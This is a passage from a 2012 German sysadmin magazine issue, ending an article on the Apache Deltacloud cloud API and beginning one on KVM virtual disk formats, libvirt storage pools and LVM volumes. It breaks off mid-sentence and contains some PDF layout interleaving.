etwa auf einem lokalen Rechner im<br />
LAN, oder nahe an der nativen API des<br />
Cloudanbieters, was besonders für private<br />
Clouds von Interesse ist. Anbieter<br />
von Cloud Services können Deltacloud<br />
natürlich auch direkt als ihr einziges Interface<br />
bereitstellen.<br />
Architektur<br />
01 > export API_URL=http://mockuser:mockpassword@localhost:3001/api<br />
02 > deltacloudc images<br />
03 img2 | Fedora 10 | i386 | Fedora 10 | fedoraproject<br />
04 img1 | Fedora 10 | x86_64 | Fedora 10 | fedoraproject<br />
05 img3 | JBoss | i386 | JBoss | mockuser<br />
06 > deltacloudc hardware_profiles<br />
07 m1‐small | i386 | 1740.8 | 160.0<br />
08 m1‐large | x86_64 | 10240.0 | 850.0<br />
09 ...<br />
Der Deltacloud-<strong>Server</strong> selbst ist in Ruby<br />
programmiert, genauer gesagt, mit dem<br />
Ruby-Framework Sinatra. Intern besteht<br />
der <strong>Server</strong>-Code aus zwei großen Bereichen:<br />
Der erste generische Teil widmet<br />
sich den für einen Web-Service typischen<br />
Aufgaben, wie dem Ent<strong>gegen</strong>nehmen<br />
und Deserialisieren von HTTP-Requests<br />
und dem Formatieren der Responses.<br />
Den zweiten Teil bilden die Treiber für<br />
verschiedene Clouds: Amazon EC2, vCloud,<br />
Azure und so weiter. Beide Teile<br />
sind über eine einfache interne Schnittstelle<br />
miteinander verbunden. So lassen<br />
10 > deltacloudc instances create ‐‐image‐id=img1 ‐‐hardware‐profile=m1‐small<br />
11 inst49 | ... | Fedora 10 | RUNNING | ...<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
115
Virtualisierung<br />
Deltacloud<br />
sich Treiber für neue Cloud-APIs ohne<br />
allzu tief gehendes Wissen über den<br />
eigentlichen <strong>Server</strong> programmieren. Ersten<br />
Erfahrungen zufolge braucht man<br />
für die Implementation eines neuen Treibers<br />
nur wenige Tage.<br />
Ein vereinfachter Ablauf sieht dann so<br />
aus: Ein Client schickt einen Request via<br />
REST-Interface an den <strong>Server</strong>. Anschließend<br />
leitet der Treiber im Deltacloud-<br />
<strong>Server</strong> die Anfrage an die angesprochene<br />
dedizierte Cloud weiter. Der <strong>Server</strong> ist<br />
stateless, es werden keine Zustands- oder<br />
Sitzungsinformationen gespeichert. Stattdessen<br />
sendet der Client die für die jeweils<br />
gewählte Cloud benötigten Zugangsinformationen<br />
im Header für Basic-HTTP-<br />
Authentication mit jedem Request mit.<br />
Im Moment erfährt der Deltacloud-<strong>Server</strong><br />
beim Start, welche Cloud mit welcher API<br />
er unter welcher URL ansprechen soll. In<br />
der nächsten Version soll es möglich sein,<br />
beides über zusätzliche HTTP Request<br />
Header auszuwählen. Dann sind beliebig<br />
viele Clouds mit demselben Deltacloud-<br />
<strong>Server</strong> nutzbar.<br />
API-Prinzipien<br />
Die Definition von Abstraction APIs birgt<br />
immer die Gefahr, dass die abstrakte API<br />
nur den kleinsten gemeinsamen Nenner<br />
der zugrunde liegenden APIs bereitstellt.<br />
Deltacloud vermeidet dieses Problem, indem<br />
es eine Basisschnittstelle definiert,<br />
Listing 2: Cloud-Beschreibung<br />
01 <br />
die alle Treiber unterstützen. Einfache<br />
Mechanismen erkennen dann, ob und<br />
welche spezifischen Erweiterungen gegebenenfalls<br />
nutzbar sind. Das Ziel dieser<br />
Mechanismen ist, dass Clients niemals<br />
wissen müssen, mit welcher Cloud sie<br />
via Deltacloud verbunden sind, sondern<br />
alle Fragen über cloudspezifische Unterschiede<br />
mittels detaillierter Hinweise in<br />
den Antworten des Deltacloud-<strong>Server</strong>s<br />
entdecken können.<br />
Die API verfügt über genau einen Single<br />
Entrypoint, was als Best Practice in der<br />
REST-Welt gilt. Das XML-Dokument, das<br />
unter der URL des Entrypoints zu erreichen<br />
ist, enthält vielfältige Informationen<br />
über alle Ressourcen, die über den Deltacloud-<strong>Server</strong><br />
verfügbar sind (Listing<br />
2). Diese umfassen Images, Instances,<br />
Realms, Hardwareprofile und so weiter.<br />
Listing 2 zeigt das XML des API Entrypoints,<br />
von dem aus alle anderen Ressourcen<br />
des APIs erreicht werden können.<br />
Das »api«-Tag in Zeile 1 zeigt, dass<br />
dieses XML vom EC2-Driver generiert<br />
wurde und der <strong>Server</strong> die API-Version<br />
0.2.0 unterstützt.<br />
Resource Collections<br />
Für jede Collection wird angegeben, unter<br />
welcher URL eine Liste aller Ressourcen<br />
in dieser Collection zu finden ist. Zum<br />
Beispiel gibt Zeile 8 die URL an, unter<br />
der eine Liste aller virtuellen Maschinen<br />
02 <br />
03 <br />
04 <br />
05 <br />
06 <br />
07 <br />
08 <br />
09 <br />
10 <br />
11 <br />
12 <br />
13 <br />
14 <br />
15 <br />
16 <br />
17 <br />
18 <br />
19 <br />
20 <br />
21 <br />
zu finden ist. Des Weiteren geben die<br />
»feature«-Tags in den »link«-Elementen<br />
an, welche optionalen Features des API<br />
unterstützt werden. Im Beispiel sind das<br />
»user_data«, »authentization_key«, »security_group«,<br />
und »register_to_load_balancer«.<br />
Jedes dieser Features deckt eine<br />
Besonderheit des EC2 API ab: So legt<br />
»user_data« fest, dass beim Anlegen einer<br />
Instanz benutzergenerierte Daten mit<br />
angegeben werden können. Das Vorhandensein<br />
dieses Features impliziert also<br />
auch, dass die Operation zum Anlegen<br />
einer Instanz einen zusätzlichen Parameter,<br />
»user_data«, akzeptiert.<br />
Neben URLs zum Auflisten jeder dieser<br />
Resource Collections enthält das XML-<br />
Dokument auch Hinweise über treiberspezifische<br />
Erweiterungen. Clients erhalten<br />
zum Beispiel einen Hinweis, ob und<br />
mit welchem Mechanismus die jeweils<br />
verwendete Cloud es erlaubt, benutzerdefinierte<br />
Daten in neue VM-Instanzen<br />
bei deren Start zu injizieren. Diese Operation<br />
ist zum Personalisieren neuer Instanzen<br />
enorm wichtig. Sie wird aber<br />
leider nicht von allen Cloud-Providern<br />
unterstützt, und von denen, die sie unterstützen,<br />
in völlig unterschiedlicher Weise<br />
angeboten.<br />
Die verschiedenen Zustände, die eine<br />
virtuelle Maschine während ihres Lifecycle<br />
durchläuft, unterscheiden sich<br />
von Cloud zu Cloud stark. Differenzen<br />
bestehen nicht nur in der Benennung<br />
von logisch äquivalenten Zuständen und<br />
Operationen, sondern auch in der Anzahl<br />
und Abfolge der Zustände. Deltacloud<br />
stellt Clients daher ein vereinheitlichtess<br />
Modell des cloudspezifischen Lifecycle<br />
in der Form eines endlichen Automaten<br />
zur Verfügung (Abbildung 2). In diesem<br />
werden nicht nur Namensunterschiede<br />
nivelliert, sondern ein Client kann auch<br />
erkennen, welche Operationen durchzuführen<br />
sind, um zum Beispiel eine<br />
momentan laufende virtuelle Maschine<br />
anzuhalten und zu löschen.<br />
Alles was erlaubt ist<br />
Auch wenn der generelle Lifecycle einer<br />
Cloud bekannt ist, ist es im Allgemeinen<br />
schwierig festzustellen, welche Operationen,<br />
wie Pause, Stop, und so weiter<br />
auf einer virtuellen Maschine ausgeführt<br />
werden dürfen. Dazu müssen viele, zum<br />
116 Ausgabe 04-2012 Admin www.admin-magazin.de
Deltacloud<br />
Virtualisierung<br />
create<br />
Pending<br />
auto<br />
Running<br />
Application<br />
Builder<br />
Self-<br />
Service<br />
Tools<br />
Reporting<br />
Start<br />
start<br />
Stopped<br />
stop<br />
Repository<br />
Scheduling<br />
Authentication<br />
Cloud Engine<br />
Deltacloud API<br />
Services<br />
Policy<br />
destroy<br />
Finish<br />
RHEV-based<br />
Virtualization<br />
Platforms<br />
Other<br />
Virtualization<br />
Platforms<br />
Public Cloud<br />
Providers<br />
Quelle: Red Hat<br />
Abbildung 2: Sehr nützlich sind Funktionen, um den genauen Status einer Instanz<br />
nachvollziehen zu können.<br />
Abbildung 3: Mit Hilfe der Deltacloud-API lassen sich private Clouds<br />
implementieren und betreiben, die mit öffentlichen Clouds kommunizieren.<br />
Teil cloudinterne, Attribute berücksichtigt<br />
werden, beispielsweise Permissions. Deltacloud<br />
erleichtert Clients hier das Leben,<br />
indem es bei jeder virtuellen Maschine<br />
mit angibt, welche Operationen auf ihr<br />
jeweils ausgeführt werden dürfen, ob<br />
zum Beispiel der momentane Benutzer<br />
berechtigt ist, eine virtuelle Maschine<br />
anzuhalten.<br />
Innerhalb einer Cloud bezeichnet eine<br />
Realm einen abgegrenzten Bereich, der<br />
über bestimmte Ressourcen verfügt. Jeder<br />
Cloud Provider definiert diesen Bereich<br />
individuell. In einigen Fällen repräsentiert<br />
ein Realm unterschiedliche<br />
Rechenzentren, Regionen oder auch nur<br />
Ressource-Pools innerhalb eines einzelnen<br />
Rechenzentrums. Ein Cloud Provider<br />
kann beispielsweise darauf bestehen,<br />
dass sich alle Ressourcen, die zusammenarbeiten<br />
sollen, innerhalb einer Realm<br />
befinden. Das leuchtet etwa für Storagesysteme<br />
unmittelbar ein, die eine physische<br />
Verbindung zu Speichergeräten<br />
brauchen.<br />
Konstruktionsvorgaben<br />
Ein weiteres Gebiet, auf dem sich einzelne<br />
Clouds stark unterscheiden, ist die<br />
Größe der virtuellen Maschinen, die zur<br />
Verfügung stehen. Die Angebote unterscheiden<br />
sich nicht nur im Hinblick auf<br />
die Anzahl virtueller CPUs, die Größe des<br />
Hauptspeichers und des lokalen Plattenspeichers,<br />
sondern auch darin, ob der Benutzer<br />
nur virtuelle Maschinen aus einer<br />
Liste fester Größen anlegen kann, oder<br />
ob es möglich ist, manche der Parameter<br />
zu ändern. Zum Beispiel mag ein Anbieter<br />
nur virtuelle Maschinen mit 1 GByte<br />
RAM anbieten, während ein anderer es<br />
erlaubt, beim Anlegen der VM die Größe<br />
des Hauptspeichers zwischen 1 GByte<br />
und 8 GByte in Schritten von 512 MByte<br />
zu variieren.<br />
Die Deltacloud-API bildet diese Vielzahl<br />
von Möglichkeiten durch ein Modell,<br />
nämlich die Hardwareprofile, so ab, dass<br />
Clients den vollen Umfang aller möglichen<br />
VM-Parameter erhalten, die Benutzer<br />
beeinflussen können. Dabei brauchen<br />
Clients nicht zu wissen, wie genau eine<br />
spezifische Cloud die Größe einer neuen<br />
virtuellen Maschine festlegt, sondern sie<br />
müssen nur das Deltacloud-Modell verstehen.<br />
Ausblick<br />
Apache Deltacloud wird kontinuierlich<br />
von einer aktiven Community weiterentwickelt.<br />
Ein Schwerpunkt dieser Arbeit<br />
ist die Unterstützung von cloudorientierten<br />
Speichersystemen wie S3 und Cloud-<br />
Files. Einen weiteren Schwerpunkt bildet<br />
die Erstellung von zusätzlichen Treibern,<br />
insbesondere für vCloud, Red Hat Enterprise<br />
Virtualization Manager (RHEV-M)<br />
und Google Storage. Diese Erweiterungen<br />
werden so gestaltet, dass sie vollständig<br />
rückwärtskompatibel sind, damit auch<br />
alte Clients problemlos mit neueren <strong>Server</strong>n<br />
kommunizieren können. Diese API-<br />
Stabilität beinhaltet nicht nur die Parameter<br />
der HTTP Requests und das XML-Format<br />
der Responses, sondern auch Dinge<br />
wie die Fehlercodes und ‐meldungen, die<br />
die API benutzt.<br />
Deltacloud wird <strong>gegen</strong>wärtig von mehreren<br />
Projekten verwendet, unter anderem<br />
von Red Hats Cloud Engine, von<br />
Steamcannon und Eclipse. Cloud Engine<br />
ist damit befasst, einen Cloudbroker, natürlich<br />
als Open Source, zu implementieren.<br />
Dabei wird sowohl die Sicht auf die<br />
virtuelle Cloud jedes Benutzers als auch<br />
die Kommunikation mit den zugrundeliegenden<br />
Clouds über die Deltacloud-<br />
API abgewickelt. Steamcannon erstellt<br />
die Werkzeuge, die nötig sind, um eine<br />
eigene Platform-as-a-Service-Cloud für<br />
Java- und Ruby-Anwendungen zu betreiben.<br />
Innerhalb des Eclipse-Projekts schließlich<br />
werden Plugins entwickelt, die das<br />
Verwalten von virtuellen Maschinen in<br />
Clouds aus Eclipse heraus erleichtern, so<br />
dass Entwickler auch komplexe Anwendungsszenarien<br />
und ‐architekturen einfach<br />
mit ein paar Mausklicks realisieren<br />
können. (jcb)<br />
n<br />
Infos<br />
[1] Amazon EC2:<br />
[http:// aws. amazon. com/ de/ ec2/]<br />
[2] Amazon S3:<br />
[http:// aws. amazon. com/ de/ s3/]<br />
[3] Jiffybox: [https:// www. jiffybox. de]<br />
[4] Gogrid: [http:// www. gogrid. com]<br />
[5] Rackspace:<br />
[http:// www. rackspace. com/ index. php]<br />
[6] Terremark:<br />
[http:// www. terremark. com/ default. aspx]<br />
[7] Apache Incubator:<br />
[http:// incubator. apache. org]<br />
[8] Deltacloud:<br />
[http:// incubator. apache. org/ deltacloud/]<br />
[9] Jclouds: [http:// www. jclouds. org]<br />
[10] Libcloud:<br />
[http:// incubator. apache. org/ libcloud/]<br />
[11] Boto: [http:// code. google. com/ p/ boto/]<br />
[12] Fog: [https:// github. com/ geemus/ fog]<br />
Der Autor<br />
David Lutterkort ist Principal Software Engineer<br />
bei Red Hat und der Maintainer des Apache-Deltacloud-Projekts.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
117
Virtualisierung<br />
KVM-Storage<br />
Optimale Disk-Konfiguration für Linux-KVM<br />
Abgerundet<br />
In KVM gibt es viele Wege, um virtuelle Datenträger im Hostsystem<br />
abzubilden. Die Wahl des passenden Datenträgerformats hat nicht<br />
nur einen Einfluss auf die Geschwindigkeit von I/O-Operationen,<br />
sondern auch auf Snapshots und Backups. Michael Kofler<br />
© Viktoriia Lesnichenko, 123RF<br />
Die meisten Virtualisierungssysteme präsentieren<br />
dem Gast seine virtuellen Festplatten<br />
als gewöhnliche IDE-, SCSI- oder<br />
SATA-Festplatten. Damit sieht es für den<br />
Gast so aus, als hätte er es mit einer ganz<br />
normalen Festplatte zu tun. Tatsächlich<br />
muss aber das Virtualisierungssystem für<br />
jeden Datenzugriff den IDE-, SCSI- oder<br />
SATA-Bus emulieren. In der virtuellen<br />
Maschine kümmert sich ein entsprechender<br />
Treiber um die Datenzugriffe.<br />
Virtuelle<br />
Festplattenadapter<br />
KVM [1] beziehungsweise die zugrundeliegenden<br />
Qemu-Komponenten emulieren<br />
standardmäßig einen IDE-Bus. Das<br />
klingt altmodisch, hat aber den Vorteil,<br />
dass nahezu jedes Gastsystem damit zurechtkommt<br />
– egal, ob in der virtuellen<br />
Maschine Linux, Windows, BSD oder ein<br />
anderes Betriebssystem läuft.<br />
Wenn in der virtuellen Maschine Linux<br />
ausgeführt wird, wie dies im KVM-<strong>Server</strong>-Alltag<br />
häufig der Fall ist, gibt es aber<br />
einen wesentlich effizienteren Weg, um<br />
auf Datenträger zuzugreifen: den Virtio-<br />
Block-Treiber. Dabei handelt es sich um<br />
einen schon seit Version 2.6.25 in den<br />
Linux-Kernel integrierten Treiber, der speziell<br />
für Virtualisierungssysteme (KVM,<br />
Xen und so weiter) entwickelt wurde. Mit<br />
dem Virtio-Treiber erspart sich KVM die<br />
Emulation eines Festplattenbussystems<br />
(zum Beispiel IDE); gleichzeitig vereinfacht<br />
sich der Datenträgerzugriff auch<br />
im Gast.<br />
Beachten Sie aber, dass KVM den Virtio-<br />
Treiber nur verwendet, wenn bekannt<br />
ist, dass der Gast Virtio-kompatibel ist.<br />
Deswegen ist es beim Einrichten der virtuellen<br />
Maschine im Virtual Machine Manager<br />
entscheidend, dass Sie im zweiten<br />
Schritt des Installationsassistenten das<br />
Betriebssystem des Gasts korrekt angeben.<br />
Der Virtio-Treiber wird auch als paravirtualisierter<br />
Treiber bezeichnet. Paravirtualisierung<br />
bedeutet, dass der Gast bei<br />
der Virtualisierung mithilft. Der Kernel<br />
aktueller Linux-Gäste erkennt automatisch,<br />
dass das Virtualisierungssystem<br />
Virtio nutzt. Es sind daher im Gast keine<br />
besonderen Konfigurationsarbeiten erforderlich.<br />
Die einzige Eigenheit besteht<br />
darin, dass die Device-Namen der virtuellen<br />
Festplatten »/dev/vda«, »/dev/vdb«<br />
und so weiter lauten (anstelle der sonst<br />
üblichen Device-Namen »/dev/sda«, »/<br />
dev/sdb«).<br />
Der Einsatz des Virtio-Treibers ist erfreulicherweise<br />
auch für Windows-Gäste<br />
möglich. Dort ist die Vorgehensweise<br />
aber ein wenig komplizierter: Bei der anfänglichen<br />
Installation verwendet KVM<br />
den IDE-Treiber. Sobald Windows in der<br />
virtuellen Maschine läuft, installieren<br />
Sie in Windows die Virtio-Treiber. Dazu<br />
binden Sie in der virtuellen Maschine<br />
eine ISO-Datei mit den Treibern als CD-<br />
Laufwerk ein. Ein ISO-Image mit von Red<br />
Hat signierten Windows-Treibern finden<br />
Sie unter [2].<br />
Nach der Installation der Treiber fahren<br />
Sie Windows herunter und verändern<br />
dann im Virtual Machine Manager das<br />
Bussystem des Datenträgers von IDE auf<br />
Virtio (Abbildung 1). Ab dem nächsten<br />
Neustart nutzt dann auch Windows den<br />
Virtio-Treiber.<br />
Image-Formate<br />
Wenn Sie im Virtual Machine Manager<br />
einen neuen Gast einrichten, wird dessen<br />
Festplatte standardmäßig in einer RAW-<br />
Image-Datei im Verzeichnis »/var/lib/<br />
libvirt/images« gespeichert (Abbildung<br />
2). Das RAW-Format ist gleichzeitig das<br />
einfachste und effizienteste Image-Format.<br />
Der Inhalt der virtuellen Festplatte<br />
wird einfach unverändert in der Image-<br />
Datei abgebildet. Für erste Experimente<br />
ist diese Grundeinstellung vollkommen<br />
ausreichend. Etwas Hintergrundwissen<br />
über die zur Auswahl stehenden Optionen<br />
hilft aber dabei, die Parameter für die<br />
gewünschte Anwendung zu optimieren.<br />
RAW-Dateien bestehen anfänglich aus<br />
lauter 0-Bytes. Alle gängigen Linux-Dateisysteme<br />
erkennen das und betrachten<br />
118 Ausgabe 04-2012 Admin www.admin-magazin.de
KVM-Storage<br />
Virtualisierung<br />
Im Virtual Machine Manager stehen in<br />
den Datenträgerdialogen auch die von<br />
VMWare beziehungsweise Virtualbox<br />
bekannten Formate VMDK und VDI zur<br />
Auswahl. Diese Formate werden von<br />
KVM aber nicht direkt unterstützt. (Dass<br />
die Formate dennoch im Virtual Machine<br />
Manager auftauchen, hat damit zu tun,<br />
dass der Virtual Machine Manager auch<br />
zur Steuerung anderer Virtualisierungsdie<br />
Datei als ’sparse file’. Deswegen ist<br />
der tatsächliche Platzbedarf im Dateisystem<br />
des Host-Rechners vorerst sehr<br />
gering. Erst wenn Daten in der virtuellen<br />
Festplatte gespeichert werden, belegt die<br />
Image-Datei im Dateisystem des Host-<br />
Rechners zunehmend immer mehr Platz,<br />
bis schließlich die beim Einrichten vorgesehene<br />
Maximalgröße erreicht wird.<br />
Nicht portabel<br />
Beachten Sie aber, dass nicht alle Dateisysteme<br />
beziehungsweise Backup-Werkzeuge<br />
sparse-kompatibel sind. Wenn Sie<br />
RAW-Dateien in Netzwerkverzeichnissen<br />
speichern oder über eine Netzwerkverbindung<br />
sichern, muss die RAW-Datei in<br />
der Regel in ihrer vollen Größe übertragen<br />
werden (also unabhängig vom Ausmaß<br />
der tatsächlichen Ausnutzung).<br />
Die populärste Alternative zum Raw-<br />
Format ist das QCOW2-Format (Qemu<br />
Copy on Write, Version 2). Gegenüber<br />
dem RAW-Format bietet QCOW2 einige<br />
Zusatzfunktionen: So können Image-<br />
Dateien verschlüsselt oder komprimiert<br />
werden. QCOW2-Dateien wachsen erst<br />
bei Bedarf und das unabhängig von den<br />
Sparse-Funktionen des Dateisystems.<br />
Der größte Vorteil von QCOW2-Images<br />
besteht aber darin, dass im laufenden<br />
Betrieb sogenannte Snapshots erstellt<br />
werden können. Das hilft vor allem bei<br />
der Durchführung von Backups.<br />
Das QCOW2-Format hatte in der Vergangenheit<br />
einen schlechten Ruf: Zum einen<br />
gab es im Zusammenspiel mit den<br />
Libvirt-Werkzeugen Kompatibilitätspro-<br />
bleme, zum anderen waren QCOW2-<br />
Images wesentlich langsamer als RAW-<br />
Images. Mittlerweile sind diese Probleme<br />
behoben. Ein gewisser Geschwindigkeitsnachteil<br />
besteht noch immer, dieser beträgt<br />
aber nach meinen Messungen lediglich<br />
fünf bis zehn Prozent im Vergleich<br />
zum RAW-Format. Für viele Anwendungen,<br />
die nicht stark I/O-lastig sind, ist<br />
der Geschwindigkeitsunterschied kaum<br />
messbar.<br />
Qemu/KVM unterstützt seit Mitte 2011<br />
mit Qemu Enhanced Disk (QED, [3]) ein<br />
drittes Image-Format. Es bietet eine etwas<br />
höhere Geschwindigkeit als QCOW2,<br />
enthält dafür aber weniger Funktionen<br />
(unter anderem keine Snapshots). Möglicherweise<br />
wird QED langfristig QCOW2<br />
ablösen. Gegen den Einsatz des QED-Formats<br />
spricht in erster Linie der Umstand,<br />
dass das Format noch unzureichend<br />
getestet ist. Mit neuen Image-Formaten<br />
verhält es sich ähnlich wie mit neuen<br />
Dateisystemen: Wer seine Daten liebt,<br />
wartet mit dem Einsatz lieber ein, zwei<br />
Jahre ab.<br />
Formatwandlung<br />
systeme geeignet ist.) Wenn Sie eine virtuelle<br />
Maschine mit einem VMDK- oder<br />
VDI-Datenträger unter KVM ausführen<br />
möchten, müssen Sie die Image-Datei<br />
zuerst in ein KVM-kompatibles Image-<br />
Format umwandeln. In einfachen Fällen<br />
hilft das Kommando »qemu‐img<br />
convert« bei der Konvertierung.<br />
Leider ist »qemu‐img« mit mehrteiligen<br />
Image-Dateien überfordert. Abhilfe<br />
schafft dann nur der »vmware‐vdiskmanager«.<br />
Dieses Kommando wird mit diversen<br />
VMware-Produkten mitgeliefert,<br />
unter anderem mit dem unter Linux frei<br />
verfügbaren VMware <strong>Server</strong>.<br />
Speicherpools<br />
Die Libvirt-Werkzeuge, zu denen auch<br />
der Virtual Machine Manager zählt, verwenden<br />
zur Verwaltung von Datenträgern<br />
sogenannte Storage Pools. Im einfachsten<br />
Fall ist ein Speicherpool einfach ein Verzeichnis<br />
auf der lokalen Festplatte. Als<br />
Speicherpools kommen aber auch Virtual<br />
Groups (LVM), ganze Festplatten, iSCSI-<br />
Geräte sowie Netzwerkverzeichnisse infrage.<br />
Jeder Datenträger in einem Storage<br />
Pool wird in der Libvirt-Nomenklatur als<br />
’Volume’ bezeichnet.<br />
Standardmäßig ist nach der Installation<br />
der Libvirt-Werkzeuge bereits ein Speicherpool<br />
mit dem Namen »default« eingerichtet.<br />
Dabei handelt es sich um das Verzeichnis<br />
»/var/lib/libvirt/images«. Wenn<br />
Sie Image-Dateien in einem anderen Verzeichnis<br />
speichern möchten, wählen Sie<br />
im Virtual Machine Manager »Bearbeiten<br />
| Verbindungsdetails« aus und aktivieren<br />
Abbildung 1: Virtio-Treiber unter Windows.<br />
Abbildung 2: Defaulteinstellungen eines Datenträgers im Virtual Machine<br />
Manager.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
119
Virtualisierung<br />
KVM-Storage<br />
Abbildung 3: Einen neuen Speicherpool im Virtual Machine Manager einrichten.<br />
das Dialogblatt »Speicher« (Abbildung<br />
3). Mit dem Plus-Button können Sie nun<br />
weitere Speicherpools anlegen.<br />
In der Folge können Sie beim Einrichten<br />
neuer virtueller Maschinen angeben, in<br />
welchem Speicherpool der neue Datenträger<br />
gespeichert werden soll (Option<br />
»Verwalteten oder anderen Speicher<br />
wählen«). Je nachdem, um welche Art<br />
von Speicherpool es sich handelt, legt<br />
der Virtual Machine Manager den neuen<br />
Kommando<br />
pool-define<br />
Tabelle 1: Virsh-Kommandos<br />
pool-define-as<br />
pool-start<br />
pool-auto-start<br />
pool-destroy<br />
pool-delete<br />
pool-list<br />
pool-info<br />
vol-create<br />
vol-create-as<br />
vol-delete<br />
vol-list<br />
vol-inf<br />
snapshot-create<br />
snapshot-create-as<br />
snapshot-revert<br />
snapshot-delete<br />
snapshot-list<br />
Datenträger als<br />
Image-Datei, als<br />
Logical Volume<br />
und so weiter an.<br />
LVM<br />
Funktion<br />
Erzeugt einen neuen Speicherpool, dessen Eigenschaften in einer XML-Datei<br />
beschrieben sind.<br />
Erzeugt einen Speicherpool, dessen Eigenschaften in Parametern<br />
angegeben werden.<br />
Startet (aktiviert) einen Speicherpool.<br />
Bewirkt, dass der Speicherpool in Zukunft automatisch gestartet wird.<br />
Deaktiviert einen Speicherpool. Der Pool kann später wieder mit pool-start<br />
aktiviert werden.<br />
Löscht einen Pool, sofern dieser keine Volumes enthält.<br />
Listet alle bekannten Speicherpools auf.<br />
Liefert detaillierte Informationen über einen Speicherpool.<br />
Erzeugt einen neuen virtuellen Datenträger, dessen Eigenschaften in einer<br />
XML-Datei beschrieben sind.<br />
Erzeugt einen neuen Datenträgern, dessen Eigenschaften in Parametern<br />
angegeben werden.<br />
Löscht einen Datenträger.<br />
Liefert eine Liste aller Datenträger in einem Speicherpool.<br />
Liefert detaillierte Informationen über einen Datenträger.<br />
Erzeugt einen Snapshot einer QCOW2-Imagedatei, wobei die Snapshot-<br />
Parameter in einer XML-Datei beschrieben sind.<br />
Erzeugt einen Snapshot einer QCOW2-Imagedatei, wobei der Snapshot-<br />
Name als Parameter angegeben wird.<br />
Aktiviert einen zuvor erstellten Snapshot einer QCOW2-Imagedatei.<br />
Löscht einen Snapshot einer QCOW2-Imagedatei.<br />
Listet alle Snapshots einer QCOW2-Imagedatei auf.<br />
Sofern Sie auf dem<br />
Hostsystem LVM<br />
einsetzen, können<br />
Sie anstelle<br />
einer Image-Datei<br />
auch ein Logical<br />
Volume (LV) als<br />
virtuellen Datenträger<br />
verwenden.<br />
Der Hauptvorteil<br />
besteht darin,<br />
dass der Zugriff<br />
auf LVs ein wenig effizienter ist als bei<br />
Image-Dateien. Erwarten Sie aber keine<br />
Wunder: Bei meinen Benchmarktests<br />
betrugen die Geschwindigkeitsgewinne<br />
im Vergleich zu einem RAW-Image nur<br />
wenige Prozent.<br />
Ein Speicherpool für Logical Volumes ist<br />
ganz einfach eine Volume Group (VG),<br />
die Sie zuerst mit dem Kommando »vgcreate«<br />
einrichten. Anschließend führen<br />
Sie im Virtual Machine Manager »Bearbeiten<br />
| Verbindungsdetails« aus und klicken<br />
im Dialogblatt »Speicher« auf den<br />
Plus-Button.<br />
Im Assistenten »Einen neuen Speicherpool<br />
hinzufügen« wählen Sie im ersten<br />
Schritt den Typ »LVM Volume Group«<br />
aus. Im zweiten Schritt stehen im Eingabefeld<br />
»Zielpfad« die Device-Dateien<br />
der auf dem Hostrechner verfügbaren<br />
Volume Groups zur Auswahl. Das Feld<br />
»Quellpfad« bleibt leer. Die Option »Pool<br />
erzeugen« muss nicht aktiviert werden<br />
(die Volume Group existiert ja schon).<br />
In der Liste der Speicherpools erscheint<br />
nun die gerade ausgewählte Volume<br />
Group. Bereits existierende Logical Volumes<br />
werden aufgelistet und können<br />
als Datenträger für virtuelle Maschinen<br />
benutzt werden. Mit »Neuer Datenträger«<br />
können Sie zudem direkt im Virtual Machine<br />
Manager neue LVs einrichten, ohne<br />
dafür auf das LVM-Kommando »lvcreate«<br />
zurückzugreifen. Achten Sie darauf, dass<br />
Sie im Virtual Machine Manager nur solche<br />
LVs für virtuelle Maschinen nutzen,<br />
die nicht auch im KVM-Host genutzt werden.<br />
Der parallele Zugriff auf ein Logical<br />
Volume durch eine virtuelle Maschine<br />
und den KVM-Host führt zu defekten<br />
Daten!<br />
Es ist nicht weiter schwierig, eine RAW-<br />
Image-Datei in ein Logical Volume zu<br />
übertragen. (Image-Dateien in anderen<br />
Formaten müssen aber vorher in das<br />
RAW-Format umgewandelt werden.)<br />
Dazu ermitteln Sie mit »ls ‐l« die exakte<br />
Größe der Datei und erzeugen dann mit<br />
»lvcreate« ein LV in genau dieser Größe.<br />
Dabei müssen Sie das Suffix »b« verwenden,<br />
damit »lvcreate« die Größenangabe<br />
in Bytes interpretiert. Anschließend übertragen<br />
Sie den Inhalt der Image-Datei<br />
mit »dd« oder »cat« direkt in das Device<br />
des LV.<br />
ls ‐l disk.raw<br />
... 10485760000 ... disk.raw<br />
lvcreate ‐L 10485760000b ‐n kvmdisk vg1<br />
cat disk.raw > /dev/vg1/kvmdisk<br />
Festplattenpartitionen<br />
Partitionen einer Festplatte können wie<br />
Logical Volumes als Datenträger für<br />
virtuelle Maschinen eingesetzt werden.<br />
Dazu definieren Sie mit den Libvirt-<br />
Werkzeugen eine Festplatte als Spei-<br />
120 Ausgabe 04-2012 Admin www.admin-magazin.de
KVM-Storage<br />
Virtualisierung<br />
cherpool (Typ »Physical Disk Device« im<br />
Virtual Machine Manager) und können<br />
anschließend eine Partitionen als Datenträger<br />
an eine virtuelle Maschine weitergeben.<br />
Dabei müssen Sie natürlich darauf<br />
achten, dass Sie nie eine Partition von<br />
mehreren Gästen beziehungsweise vom<br />
Host-System und einem Gast zugleich<br />
ansprechen!<br />
Wirklich empfehlenswert ist diese Vorgehensweise<br />
aber nicht: Im Vergleich zu<br />
Logical Volumes ergibt sich daraus keine<br />
Effizienzsteigerung. Der Grund: Auch<br />
beim scheinbar direkten Zugriff auf Festplattenpartitionen<br />
führt jede I/O-Operation<br />
über KVM. Begraben Sie also die<br />
Hoffnung, in einer virtuellen Maschine<br />
dieselbe I/O-Performance zu erzielen wie<br />
auf dem KVM-Host.<br />
Gleichzeitig geht bei der Administration<br />
die Flexibilität von LVM verloren. Außerdem<br />
besteht die Gefahr, dass im Gast<br />
angelegte Partitionen und LVM-Systeme<br />
die Partitions- und LVM-Verwaltung auf<br />
dem Hostsystem durcheinanderbringen.<br />
Kurzum: Im Regelfall sind Sie gut beraten,<br />
Logical Volumes als virtuelle Datenträger<br />
zu verwenden, nicht aber Festplattenpartitionen.<br />
Besser keine echten<br />
Partitionen<br />
Wenn Sie noch einen Schritt weiter gehen<br />
möchten und eine ganze Festplatte oder<br />
SSD exklusiv einer virtuellen Maschine<br />
zuweisen möchten, stoßen Sie an die<br />
Grenzen von KVM. Das KVM-Kommando<br />
(nicht aber die Libvirt-Werkzeuge) bietet<br />
diese Möglichkeit zwar prinzipiell,<br />
die KVM/Qemu-Dokumentation empfiehlt<br />
